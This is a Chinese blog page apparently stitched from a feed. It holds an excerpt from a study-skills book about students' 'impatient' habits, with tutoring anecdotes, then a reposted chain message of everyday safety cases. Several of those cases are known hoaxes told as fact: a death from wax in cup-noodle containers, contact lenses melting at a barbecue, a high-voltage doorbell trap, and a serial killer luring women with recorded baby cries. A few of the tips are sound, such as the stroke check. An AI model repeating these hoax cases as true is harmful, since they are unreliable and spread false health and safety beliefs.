　　太多的同学忽视了这个问题，他们从来不考虑自己是不是真的懂了，老师一问“懂了么？”他们就会随波逐流、异口同声地喊“懂了”。所以，在对他们做咨询的时候，我总是戏称他们都是“撒谎长大的”。

　　自认为“懂了”，学习过程即告停止。
　　学习是从认识到自己不懂，或承认自己不懂开始的，直到学习者自己认为自己懂了为止。一旦自己认为自己懂了，不管是不是真的懂了，学习的过程就戛然而止了。
　　没懂自认为懂会导致学习半途而废。
　　很多同学不承认有这样的问题，他们自认为自己上课是听懂了的。至于后来不会做了，是因为时间久了，或者又忘掉了。
　　为了让同学和家长们认清出这个问题，我特意设计了一个小游戏。来我们这里咨询的同学基本都跟我做过这个小游戏，一个很简单的小游戏。但这个游戏看似简单，但实际上很难一次性做出来。我先做一遍，然后问学生：“会了么？”超过百分之八十的同学毫不犹豫地说“会了”，但我让他重复的时候，他根本做不出来。有大约百分之十强的同学会说一些“差不多、好像会了”之类的模棱两可的话。我会给他们解释：“差不多”意思就是“差得多”！“好像会了”意思就是“肯定不会”！这样的判断往往屡试不爽！让他们试验的时候，也往往是做不出来。
　　还有很少的同学，大约在百分之五左右吧，他们会承认自己不会，显然这些同学要仔细得多，经过两三次的演示以后，他们才敢于自己亲手试验。但第一次也往往会以失败告终。
　　也就是说，基本上所有的同学都在不同程度上存在没有学会的时候自认为学会了而拒绝继续深入学习的问题，存在浮躁的问题。
　　从不会到会的过程是个漫长的过程，如果我们拿登上十层的台阶作为学会的话，只要不达到第十层台阶，每一层台阶停下来都是失败！
　　所以，有一句俗话：成功的路上尽是失败者。他们距离成功有的远，有的近，有的甚至只差一步。但他们停下来了。学习停止了，在没有充分学会的时候，学习停止了，这时候，遗忘的因素会很快占到上峰。这样，当时认为学会的知识，其实根本就没有掌握，考试的时候考不出来就是自然而然的事情了。
　　另外还有的同学上课时的一些不良习惯会直接影响他的听课效果。
　　有一个初二的女同学名字叫做李琦，她的数学和物理都在五十几分，不能达到及格分数。她的父母非常着急，来到我们中心咨询。
　　我们的老师在给她讲第一节课的时候就发现了一个看似很小，却又非常严重的问题：那就是她的头发在影响她听课。每次她写字的时候，一低头，头发就哗啦散落在她的眼前，她就习惯性地用手一拂，有时候还很优雅地把头向后一甩。据上课老师统计，45分钟一节课她拂头发的次数居然超过了50次！所以，我们给她的第一个建议就是：把头发扎起来！
　　经过两个月左右的补习，她的数学和物理成绩一下子提高到了八十几分！

　　（2）看书一看就会，其实没有真会

　　很多学生在看书的时候，往往如蜻蜓点水，轻描淡写翻几页就算是看过了，无法深入看书。

　　对于学生来说，深入看书有两方面：
　　课前看书
　　目的就是找问题：
　　接下来该学习什么了？
　　学习重在发现、探索、创新和应用，预习时先要想一想，我们已经学习了什么知识，接下来该学习什么了？自己来个预测。
　　为什么要讲这些内容？
　　知识的重点和难点是什么？
　　预习的一个重要任务是要了解新知识的重点和难点，为课上更好地学习做准备。预习时可能对重点知识认识得不清楚，抓得也可能不准，这都没关系。对预习中感到困难的问题，要做好两方面的准备。一是查一查，感到困难的原因是什么。是原有知识基础问题，还是理解问。如果是基础问题就要自觉补一下，看一看是否可以解决；如果是理解问题，可以记下来课上认真听讲、积极思考去解决。
　　课后看书
　　深入已经掌握的问题，再次寻找问题；
　　近期所学的整个内容体系是否明确？
　　本节课与已经学过的什么知识点有联系？
　　这个部分的知识学到这里，接下来应该学习什么？
　　我自己能不能把要学的内容创造出来？
　　2．考的时候考不出

　　指的是学习者在自认为学会的情况下，遇到自认为会做的题目，要么做不出来，要么做出来不能得满分。

　　具体有以下两种表现：
　　一是自以为会了，其实没有真会。
　　二是真的会了，但浮躁严重，得不了分。
　　（3）题目拿来就做，没看清条件就做

　　学生很多时候看到题目，没有仔细审题，而是急于动手，所以经常出现题目看不清，条件没有看全就开始做题。这种情况做对的可能就很小了。等到题目做错了，才恍然大悟：有个条件没看清楚！

　　做题目的时候，先写出明确的已知，求证或求解，然后再做题目是一种比较好的解题习惯。
　　失败的人都会想，我下一次一定成功，成功的人也会想，下一次一定更成功。
　　但下一次从什么时候开始呢？
　　其实下一次就是从现在开始。
　　人生就是现在，从前只是记忆，将来只是想象，唯有现在才是真实的，把现在抓住就抓住了人生。
　　一位作家曾经说过：“如果有那么一天，时空倒转，让我们从80岁活到一岁，那么，世界上一半人将成为哲学家，世界上一定会多出几百个百万富翁”。
　　大卫·葛雷森说：“我相信，现在未能把握的生命是没有把握的；现在未能享受的生命是无法享受的；而现在未能明智地度过的生命是难以过得明智的；因为过去的已去，而无人得知未来。”
　　要停在当下，不要急着往前走。
　　如果每一个现在在辛勤地工作、学习，生活状况将是一种持续的增长状态；如果每一个现在都在碌碌无为、低效率的工作状态、或者无进展、得不到进展的工作状态，实际上是白白消耗了生命。
每次老师在强调赶进度的时候，我总是反问一句：学生都没有学会，你想赶到哪儿去？
　　拿到题目的时候，首先要有一个平静的心态，不要急着做题，而是要先把题目看清础再做。
　　这个题目考什么知识点？
　　给出的直接条件是不是能够解出题目？
　　有什么隐含条件？
　　还需要什么条件才能解出问题？
　　……
　　（4）做完题就上交，没检查好就上交。

　　很多同学总是急匆匆地把题目做完就交上去了，让他检查，他就根本检查不下去，有些很明显的问题，本来应该一眼就可以看出来，但他盯着看半天都看不到问题。

　　清华附中有一个初三的女生名叫马小月，在中考前一模考试以后来到我中心咨询，她很自信地说，她这次的数学成绩虽然只有六十几分，但她实际上是八十几分的水平。原因是因为有一道十五分的题目，她在稿纸上本来做对了，只是在往试卷上誊写的时候抄错了！
　　当时她的父母也深深地点头，表示事实确实如此。
　　我问马小月：“你觉得很委屈是么？”
　　她点点头！
　　我说：“那为什么没有检查出来？”
　　她低下了头。
　　我又问她：“你以前出现过这种情况么？”
　　她点头说：“出现过。”
　　“那为什么没有彻底改掉？”
　　她又低下了头。
　　“考不好，活该！你不是八十几分的水平，你就是六十几分的水平！因为你现在出现这样的错误，中考的时候还会出现！”
　　这时候她的父母开始点头了。
　　我继续说：“因为你认为这种情况只是偶尔的，下回就不会出现了，所以，你就不会认真对待，不会下定决心，也不会每次做题时做到一次性把题目做到满分，不会每次做完考题后认真检查直到不出错误。如果不是每次这么做，到考试的时候就不能一定保证会做的题目得满分。所以，我们认为：学习不理想最重要的原因是浮躁。”
　　不检查就上交是浮躁最典型的表现之一。学生做完题目后，耐心已经达到极点，最想的事情就是赶紧交上去万事大吉。
　　这种浮躁心态是学习的大敌，如果不彻底解决，学习永远不会好。
　　有个朋友的女儿，是20中初三的学生，名字叫顾小梅，有一次，我拿一个题目问她是不是会做，她说会做了，但让她做的时候，她做不出来。在老师给她讲了题目后，让她把这个题目彻底搞懂，练到熟练的程度。
　　她的父亲就问：“你们叫三倍快速学习法，怎么没有看出快来？”
我回答：
　　“一次性把一个题目彻底掌握，就是最快的方法。”
　　“我看你们给孩子上课，一个小时了才讲了一个题目，这怎么算是快？”父亲显然不服气。
　　“一个小时可以讲一个题目，也可以讲十个题目，但大题会做，但小题不会，分数不够高。”
3．改的时候改不了

　　具体表现为：

（5）发现题目错了，以为粗心不改正

　　人大附中有位初三年级的女生名叫孙一芮，她本来就是班里比较出色的学生，尤其是数理化成绩，有的已经接近满分。但由于人大附中竞争非常激烈，她的排名只能在200名以后。因为人大附中几乎是北京中考录取分最高的中学，她要想稳稳地升入人大附中的高中部，要考到200名以内，甚至最好是考到150名以内才比较有把握。但她和她的父母觉得靠她自己的努力没有把握达到这个目标。

　　她刚来到我们中心咨询时，说了这么一句话：“要不是犯了一些‘低级错误’，我的成绩还要高。”
　　我当时就回了她一句：“你这次有多少分是因为‘低级错误’丢的？”
　　她说：“数理化三门大约就有十几分！”
　　“上次考试有没有犯‘低级错误’？”我进一步追问。
　　“有！”她很诚实。
　　“再上一次呢？”我步步紧逼。
　　“有……”她开始有些不好意思了，“好象一直有……”
　　“从小就是犯‘低级错误’长大的对么？呵呵！”我开了句玩笑。
　　“对对对！呵呵……”她倒也直率。
　　“只要你认为是‘低级错误’，你就永远改不了，就永远不能重视这个基本的事实：那就是，题目会做，但怎么都不能把会做的题目得满分！”
　　“对对对！你快跟我说一下怎么改掉这个毛病吧！”
　　“打掉浮躁！”
　　……
　　后来在我们的指导下，她一模进入全校前200名，二模进入前150名，最后中考的时候，她的成绩在全海淀区排名第83名。
　　有以上5种浮躁的习惯，学生的成绩一定不会理想。

摘自唐曾磊《爱学习会学习》

　　与本文相关文章：

]]> http://448941539.qzone.qq.com/blog/1216010849#comment 9 Mon, 14 Jul 2008 04:47:29 GMT http://448941539.qzone.qq.com/blog/1216010849 <![CDATA[[转]这篇日志好，大家来看看哦]]> http://448941539.qzone.qq.com/blog/1215576327 个案：
有一妇女手提包被偷，里面有手机、银行卡、钱包等。 20分钟后，她打通了老公的电话，告诉自己被偷的事。老公惊呼："，我刚才收到你的短信，问咱家银行卡的密码，我立马就回了！"他们赶到银行时，被告知里面所有的钱都已被提走。小偷通过用偷来的手机发送短信给 "亲爱的老公" 而获取了密码，然后在短短20分钟内把钱取走了。
提醒：
不要在手机通讯录中暴露自己与联系人的关系，忌用
"家电"、"老公"、"爸妈"等称呼。一律用名字，字越少越安全。
个案2：
有三位自驾游的朋友不慎连人带车跌落一百五十公尺深的山谷，受困四日三夜后，才获救。其间，他们曾多次想以手机向外求救。无奈一只被摔坏，一只没电了，一只收讯不良。他们还多次移动位置以寻找较佳的收发信号地，但都不成功。如果这三位人士平常就知道１１２专线，紧急时刻也能知道如何用那只收讯不良的手机拨出１１2专线，相信他们可以很快获救。
提醒：
全国各地通用的１１２专线，在手机打开后即使没有接收信号，甚至电力极为微弱，任何厂牌的手机在任何地点皆可拨通。拨出１１２后，马上会进入语音说明如下∶这里是行动电话１１２紧急救难专线，如果您要报案，请拨0，我们将会为您转接警察局；如果您需要救助，请拨９，我们将会为您转接消防局。中文讲完后，会以英文重述一遍。此时只要拨0或９，一定会有人接听。以三位人士所处的情况，或登山迷途或遭遇其它困境时，应拨９，将可获得及时的救助。
个案3：
有个留学生喜欢吃速食杯面，后来，这位留学生因身体不适去医院看病，医生发现他的胃壁附着一层蜡！原来，杯面的容器里包含一种可食用的蜡！各位下次吃杯面的时候摸摸看杯壁是不是觉得滑滑的，那就是了。而长时间的食用杯面，将造成我们的肝脏无法分解这种食用蜡。最后，这位留学生不得不寻求手术治疗以移除这层蜡，不幸去世。
提醒：
吃泡面的时候，尽量把面拿，另外用碗来泡食，不要用碗面、杯面所附的容器直接冲开水食用。哪是出差，也要带上一只大茶缸泡面用。为了自己的身体，不要偷懒！
个案4：
一件很可怕的事：有一天，一个 2岁男生戴着隐形眼镜去参加一个烤肉野聚会！就在他开始以木炭生火之后的几分钟，他突然大叫一声，然后很痛苦的跳来跳去，在地上打滚......全场的人都吓呆了，没人知道究竟发生了什么事？大家赶紧送他到医院，医生检查后遗憾地说，他的眼睛失明了！
提醒：
参加野外烧烤或任何有可能接触到火源的时候，请不要戴隐形眼镜！因为隐形眼镜是用塑胶制成的，过热的温度会熔化我们眼中的隐形眼镜！
个案5：
苏西跌倒了，雪丽看到苏西跌倒就立刻问了苏西"三个问题"。她见苏西无法回答这三个问题，就立即打20电话求救。虽然当时苏西的血压正常，看起来也没有中风的样子。但因为雪丽有"三个问题"的认知常识，坚持把苏西送到医院救治，使苏西很快康复而没有留下后遗症。
提醒：
有时候中风的征兆很难辨识，常因为中风患者旁边的人没有适时发现，延误救治而使患者脑部受损。我们要问患者的三个问题是：要求病患展示笑容；要求病患两只手都举起来；要求病患说出一句简单的话。如果病患无法做到这三点，周围的人就应该立即打20救护电话，并且告诉随车的救护人员这是中风的征兆。如果我们能够广泛传递并且应用这种询问方式，测试中风征兆，就可以迅速诊断治疗中风患者，最大限度地避免患者脑部受损。
个案6：
建行一同志转述: 今天经过一栋大楼门口，门口有一提款机。有一个老伯，一直看着我走过他身边，突然叫住我,他说他不识字，拿一张银行卡要我帮他在大楼门口的自动提款机取钱。我回答我无法帮你取，叫警卫帮你。结果，他就回答我说不用了,继续找其他路人帮他取钱。朋友们要记住---取款机可是有摄影机耶。万一他说我抢劫或是偷他的提款卡，甚至他的卡片是偷来的，帮他领钱会在提款机留下影像，绝对会让你百口莫辩！我会警惕 ! 是因为已有同事上当，目前仍官司缠身。显然这是诈骗集团在找替身了!
　
个案7：
芍药居一业主，家中突然断电，看到窗户外别人家里都有电，就出门查看自家电表箱，打开门就被刀子顶着了--持刀入室抢劫....提醒大家如果家里突然断电，不要贸然就开门查看，有猫眼的多观察一会门外动静，没猫眼的也隔着门静听一段时间，没有异常响动再开门　　　
个案8：
各位女同胞们注意了！这是最新骗局:一位上班的小姐在下班回家的路上看到一个小孩子一直哭，很可怜 ,然后就过去问那小朋友怎么了.小朋友就跟那个小姐说:" 我迷路了,可以请你带我回家吗?"然后拿一张纸条给她看, 说那是他家地址.然后她就笨笨的带小孩子去了.一般人都有同情心,然后带到那个所谓小孩子的家里以后,她一按铃，门铃像是有高压电,就失去知觉了.醒来就被脱光光在一间空屋里,身边什么都没有了,她甚至连犯人长啥样子都没看见.所以,现在人犯案都是利用同情心，如果遇到类似这种的,千万别带他去,要带就带他到派出所去好了,走丢的小孩放到派出所一定没错啦.
个案9：
　　昨晚在金海里的工行自动取款机取钱时，后面来了个老妇女，问我能不能取钱，还说什么取款机有个键可能坏了，旁边不知什么时候来了个小女孩，一直想往我身边挤，我也没在意，小孩子淘气嘛，可是过分的是她竟然把手朝出钞口放，准备拿我的钱了，我感觉不对劲了，立即把她推到一边，等着把钱取。之后我想了一下，她们俩给我设了个套：老妇女负责和我瞎聊，吸引我的注意力，小女孩趁我不注意时抢走我的钱！如果我不防备的话，钱说不定就被抢走了，这样的话，我就进套了：（一:我立即去追小女孩，去追回我的钱，可是谁又会相信一个小女孩能抢我一个大人的钱呢？更可的是站在我后面的老妇女将会取光我卡中所有的钱，因为我的卡还在取款机里面；二:我不立即去追小女孩，等拿到卡再追，到那时小女孩就无影无踪了，钱也就没了：（她们真的很"聪明"，很可耻的！！！) 　　
　
个案0：
最近有人告诉我，他的朋友在晚上听到门口有婴儿在哭，不过当时已很晚了而且她认为这件事很奇怪，于是她打电话给JC。JC告诉她∶「无论如何，绝对不要开门。」这位女士表示那声音听起来象是婴儿爬到窗户附近哭，她担心婴儿会爬到街上，被车子碾过。JC告诉她∶我们已派人前往，无论如何不能开门。警方认为这是一个连续杀人犯，利用婴儿哭声的录音带，诱使女性以为有人在外面遗弃婴儿，她们出门察看。虽然尚未证实此事，但是警方已接到许多女性打电话来说，他们晚上独自在家时，听到门外有婴儿的哭声，请将这个消息传给其他人，不要因为听到婴儿的哭声而开门。
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